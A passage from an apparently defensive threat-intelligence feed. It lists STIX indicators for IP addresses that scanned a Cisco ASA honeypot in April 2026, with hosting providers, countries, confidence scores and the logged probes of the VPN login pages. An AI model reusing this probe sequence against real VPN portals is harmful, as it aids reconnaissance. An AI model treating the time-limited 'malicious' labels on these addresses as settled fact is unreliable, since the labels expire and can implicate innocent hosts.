      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--77427e10-6aa8-4654-91f0-090e6b15c9f2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '146.70.166.218']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T15:20:11.000Z",
      "valid_until": "2026-05-23T15:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 22,
          "first_seen": "2026-04-21T15:01:18.910Z",
          "last_seen": "2026-04-24T20:08:59.399Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-21T15:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--aba46c94-0ad1-4af9-98b8-515538f2903e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '45.134.142.209']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T15:20:11.000Z",
      "valid_until": "2026-05-23T15:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 39,
          "first_seen": "2026-04-21T13:42:56.540Z",
          "last_seen": "2026-04-29T20:44:35.672Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-21T15:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 - geo: CZ; ASN 2914 (NTT America, Inc.)",
      "id": "indicator--51e58b1c-b891-4574-8181-6246b6a96f18",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '45.153.161.164']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T15:20:11.000Z",
      "valid_until": "2026-05-23T15:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-21T14:37:30.046Z",
          "last_seen": "2026-04-21T14:37:30.832Z",
          "country": "Czechia",
          "country_code": "CZ",
          "asn": 2914,
          "as_org": "NTT America, Inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-21T16:20:09.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 399935 (Hayashimo LLC)",
      "id": "indicator--21c1291b-b1ca-4885-a81c-7277cef952a9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.168.216.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T16:20:09.000Z",
      "valid_until": "2026-05-23T16:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-13T11:02:30.376Z",
          "last_seen": "2026-04-24T11:14:38.879Z",
          "country": "United States",
          "country_code": "US",
          "asn": 399935,
          "as_org": "Hayashimo LLC",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-21T16:20:09.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--b88fad2b-3fbc-4f2d-b3bd-a25d7601c278",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.104.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T16:20:09.000Z",
      "valid_until": "2026-05-23T16:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-13T11:18:04.309Z",
          "last_seen": "2026-04-24T15:08:38.614Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-21T16:20:09.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--e6c88035-1877-428c-895e-7eb167384483",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.75.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T16:20:09.000Z",
      "valid_until": "2026-05-23T16:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-21T16:05:21.596Z",
          "last_seen": "2026-04-30T00:03:38.699Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-21T16:20:09.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--c8e4c520-37cd-4231-9eea-398adb1d7f41",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.96.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T16:20:09.000Z",
      "valid_until": "2026-05-23T16:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 19,
          "first_seen": "2026-04-21T15:39:55.584Z",
          "last_seen": "2026-04-29T22:26:11.800Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-21T17:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 136557 (Host Universal Pty Ltd)",
      "id": "indicator--4bf026b4-f1ca-4497-93f1-c864381ef348",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '155.2.191.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T17:20:10.000Z",
      "valid_until": "2026-05-23T17:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 27,
          "first_seen": "2026-04-18T22:31:45.595Z",
          "last_seen": "2026-04-29T16:48:36.507Z",
          "country": "United States",
          "country_code": "US",
          "asn": 136557,
          "as_org": "Host Universal Pty Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-21T17:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: FR; ASN 51167 (Contabo GmbH)",
      "id": "indicator--b9fc7adb-50bf-441f-9176-315246ebe961",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '173.249.42.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T17:20:10.000Z",
      "valid_until": "2026-05-23T17:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-21T17:14:53.804Z",
          "last_seen": "2026-04-21T17:14:56.807Z",
          "country": "France",
          "country_code": "FR",
          "asn": 51167,
          "as_org": "Contabo GmbH",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-21T17:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 207990 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--76cc5194-306b-4c45-a0b0-d2e64f59893f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '185.141.119.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T17:20:10.000Z",
      "valid_until": "2026-05-23T17:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-16T07:48:50.119Z",
          "last_seen": "2026-04-29T04:34:51.640Z",
          "country": "United States",
          "country_code": "US",
          "asn": 207990,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-21T17:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: TW; ASN 208137 (Feo Prest SRL)",
      "id": "indicator--f3e8dfb2-7c94-4039-bde9-3c6c5034145f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '213.209.159.75']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T17:20:10.000Z",
      "valid_until": "2026-05-23T17:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-21T17:01:18.097Z",
          "last_seen": "2026-04-21T17:01:18.097Z",
          "country": "Taiwan",
          "country_code": "TW",
          "asn": 208137,
          "as_org": "Feo Prest SRL",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-21T19:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: HK; ASN 135377 (UCLOUD INFORMATION TECHNOLOGY HK LIMITED)",
      "id": "indicator--2f0a1796-615d-4560-82c9-0d6213291eab",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '118.193.32.88']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T19:20:10.000Z",
      "valid_until": "2026-05-23T19:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 16,
          "first_seen": "2026-04-21T19:09:30.193Z",
          "last_seen": "2026-04-21T19:10:12.130Z",
          "country": "Hong Kong",
          "country_code": "HK",
          "asn": 135377,
          "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/blank.html HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"GET /config.json HTTP/1.1\" 404 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /robots.txt HTTP/1.1\" 404 -",
            "\"GET /sitemap.xml HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-21T19:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--368c3f97-4ea5-443b-bad6-d183e51a000a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.100.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T19:20:10.000Z",
      "valid_until": "2026-05-23T19:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-21T18:41:54.912Z",
          "last_seen": "2026-04-21T18:42:05.715Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-21T19:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--e0a329f2-fc14-4ff0-81c3-c57b01843038",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.105.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T19:20:10.000Z",
      "valid_until": "2026-05-23T19:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-21T18:24:10.240Z",
          "last_seen": "2026-04-25T02:45:41.831Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-21T19:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--833e63a1-f862-44c6-a98e-e33789a72e7b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.109.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T19:20:10.000Z",
      "valid_until": "2026-05-23T19:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-08T19:42:55.250Z",
          "last_seen": "2026-04-21T18:59:15.104Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-21T19:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--9bff64f9-26a1-4895-96f6-fa44cd29e506",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.118.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T19:20:10.000Z",
      "valid_until": "2026-05-23T19:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 18,
          "first_seen": "2026-04-21T18:37:50.891Z",
          "last_seen": "2026-04-29T14:32:26.399Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-21T19:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--c9e59c4c-e642-4476-9865-c51362914629",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.81.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T19:20:10.000Z",
      "valid_until": "2026-05-23T19:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-16T07:57:02.604Z",
          "last_seen": "2026-04-30T03:31:52.127Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-21T19:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--e528843f-af3a-4771-9e2c-86bc6c71207d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.90.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T19:20:10.000Z",
      "valid_until": "2026-05-23T19:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-21T18:25:53.697Z",
          "last_seen": "2026-04-24T12:23:10.135Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-21T19:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--3b8e6ced-5b6d-4483-9b6d-693f520a5c9a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '87.249.134.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T19:20:10.000Z",
      "valid_until": "2026-05-23T19:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-21T19:04:47.488Z",
          "last_seen": "2026-04-21T19:04:53.584Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-21T20:20:30.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--99e48998-9c1d-421a-a7a2-9ee68c4bbe61",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '103.251.27.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T20:20:30.000Z",
      "valid_until": "2026-05-23T20:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-21T19:39:47.603Z",
          "last_seen": "2026-04-29T15:37:58.385Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
